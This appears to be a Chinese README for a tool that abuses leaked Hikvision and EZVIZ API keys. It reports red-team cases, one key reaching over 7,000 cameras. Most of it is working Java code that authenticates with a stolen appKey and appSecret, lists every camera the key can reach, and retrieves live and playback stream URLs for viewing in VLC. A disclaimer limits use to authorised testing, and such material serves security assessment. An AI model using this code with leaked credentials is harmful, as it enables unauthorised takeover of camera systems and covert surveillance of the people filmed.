└── README.md
/README.md:
--------------------------------------------------------------------------------
1 | # video-api-check
2 | ## 原理分析
3 |
4 | 海康威视/萤石等通过AK、SK进行身份验证,通过调用接口实现视频预览等功能。因此代码中泄露了key即可能造成摄像头集群被接管。
5 |
6 | 下面是某次攻防演习实战中遇到的hikvison凭证泄露。
7 |
8 | 
9 |
10 | 某次遇到萤石一个aksk可控7000+摄像头。
11 |
12 | 
13 |
14 | ## 利用方式
15 |
16 | ### 海康威视
17 |
18 | 海康API对接(JAVA)
19 |
20 | > https://www.freesion.com/article/60261295938/
21 |
22 | ①下载官方sdk
23 |
24 | > https://open.hikvision.com/download/5c67f1e2f05948198c909700?type=10
25 |
26 | 
27 |
28 | ②IDEA新建maven项目,并将OpenAPI认证库导入maven
29 |
30 | ```
31 | mvn install:install-file
32 | -Dfile=/Users/niudai/lang/apache-maven-3.6.3/artemis-http-client-1.1.3.jar
33 | -DgroupId=artemis-http-client
34 | -DartifactId=hk
35 | -Dversion=1.1.3
36 | -Dpackaging=jar
37 | ```
38 |
39 | 
40 |
41 | ③创建项目代码
42 |
43 | 
44 |
45 | `pom.xml`增加dependencies
46 |
47 | ```xml
48 |
49 | artemis-http-client
50 | hk
51 | 1.1.3
52 |
53 |
54 | com.alibaba
55 | fastjson
56 | 1.2.68
57 |
58 |
59 | ```
60 |
61 | `DataTypeConversionUtil.java`
62 |
63 | ```java
64 | public class DataTypeConversionUtil {
65 | public static Map getStringToMap(String str){
66 | JSONObject parseObject = JSONArray.parseObject(str);
67 | return parseObject;
68 | }
69 | }
70 | ```
71 |
72 | `HKUtil.java`
73 |
74 | ```java
75 | import com.alibaba.fastjson.JSONObject;
76 | import com.hikvision.artemis.sdk.ArtemisHttpUtil;
77 | import com.hikvision.artemis.sdk.config.ArtemisConfig;
78 |
79 | import java.util.HashMap;
80 | import java.util.Map;
81 |
82 | /**
83 | * 海康工具类
84 | */
85 | public class HKUtil {
86 | static {
87 | // 代理API网关nginx服务器ip端口
88 | ArtemisConfig.host = "220.xxx.xxx.xxx";
89 | // 秘钥appkey
90 | ArtemisConfig.appKey = "xxxx";
91 | // 秘钥appSecret
92 | ArtemisConfig.appSecret = "uxxxxx";
93 | }
94 | /**
95 | * 能力开放平台的网站路径
96 | * TODO 路径不用修改,就是/artemis
97 | */
98 | private static final String ARTEMIS_PATH = "/artemis";
99 | /**
100 | * 通用海康接口
101 | * 调用POST请求类型(application/json)接口*
102 | * @return
103 | */
104 | public static Map publicHkInterface(JSONObject jsonBody,String url){
105 | final String getCamsApi = ARTEMIS_PATH +url;
106 | Map path = new HashMap(2);
107 | path.put("https://", getCamsApi);
108 | // post请求application/json类型参数
109 | String result =ArtemisHttpUtil.doPostStringArtemis(path,jsonBody.toJSONString(),null,null,"application/json",null);
110 | return DataTypeConversionUtil.getStringToMap(result);
111 | }
112 |
113 |
114 | /**
115 | * 获取监控点预览取流URL
116 | * @param id 设备编号
117 | * @return
118 | */
119 | public static Map camerasPreviewURLs(String id){
120 | JSONObject jsonBody = new JSONObject();
121 | // jsonBody.put("cameraIndexCode", id);
122 | // jsonBody.put("protocol", "hls");、
123 | // jsonBody.put("streamType", 0);
124 | // jsonBody.put("protocol", "rtsp");
125 | // jsonBody.put("transmode", 1);
126 | // jsonBody.put("expand", "streamform=ps");
127 | Map returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/previewURLs");
128 | return returnMap;
129 | }
130 |
131 | /**
132 | * API名称:
133 | * 查询监控点列表v2
134 | * 分组:
135 | * 视频资源接口
136 | * 提供方名称:
137 | * 资源目录服务
138 | * qps:
139 | * 描述:根据条件查询目录下有权限的监控点列表
140 | * @return
141 | */
142 | public static Map cameraSearch(){
143 | JSONObject jsonBody = new JSONObject();
144 | jsonBody.put("pageNo", 1);
145 | jsonBody.put("pageSize", 1000);
146 | jsonBody.put("resourceType", "door");
147 | Map returnMap=publicHkInterface(jsonBody,"/api/resource/v2/camera/search");
148 | return returnMap;
149 | }
150 |
151 | public static Map getCameraPlayBackURL(String id){
152 | JSONObject jsonBody = new JSONObject();
153 | jsonBody.put("cameraIndexCode", id);
154 | // jsonBody.put("protocol", "rtsp");
155 | jsonBody.put("beginTime", "2020-12-15T09:35:06.000+08:00");
156 | jsonBody.put("endTime", "2021-06-17T15:00:00.000+08:00");
157 | Map returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/playbackURLs");
158 | return returnMap;
159 | }
160 |
161 |
162 | public static void main(String[] args) {
163 | System.out.println(cameraSearch());
164 | // System.out.println(camerasPreviewURLs("33068100001310938991"));
165 | // System.out.println(getCameraPlayBackURL("33068100001310938991"));
166 | }
167 | }
168 | ```
169 |
170 | 先通过`cameraSearch()`即`/api/resource/v2/camera/search`接口,获取有权限的设备列表的信息。
171 |
172 |
173 |
174 | 比较重要的信息是`indexCode`和`regionPathName`,
175 |
176 | 获取视频流是调用`camerasPreviewURLs()`即`/api/video/v1/cameras/previewURLs`接口,需要传入`indexCode`,根据官方文档可以设置不同的取流协议(默认是rtsp)。
177 |
178 | 返回的视频流地址使用VLC连接即可。
179 |
180 | 
181 |
182 | ### 萤石
183 |
184 | 原理与海康威视大致相同,主要有两个区别。
185 |
186 | 1、不需要下载sdk,可以直接使用普通的http请求。
187 |
188 | 2、API接口由萤石官方提供`https://open.ys7.com`,海康则是部署在客户服务器上。
189 |
190 | ## 工具开发
191 |
192 | 开发了一个工具实现了以下功能。
193 |
194 | 1、验证泄露的key是否有效。
195 |
196 | 2、获取有权限的监控点列表。
197 |
198 | 3、输入视频流地址进行截图保存功能。
199 |
200 | 
201 |
202 | ## 免责声明
203 |
204 | 本工具仅面向**合法授权**的企业安全建设行为,且仅供学习研究自查使用,切勿用于非法用途,由使用该工具产生的一切风险均与本人无关!
205 |
206 |
--------------------------------------------------------------------------------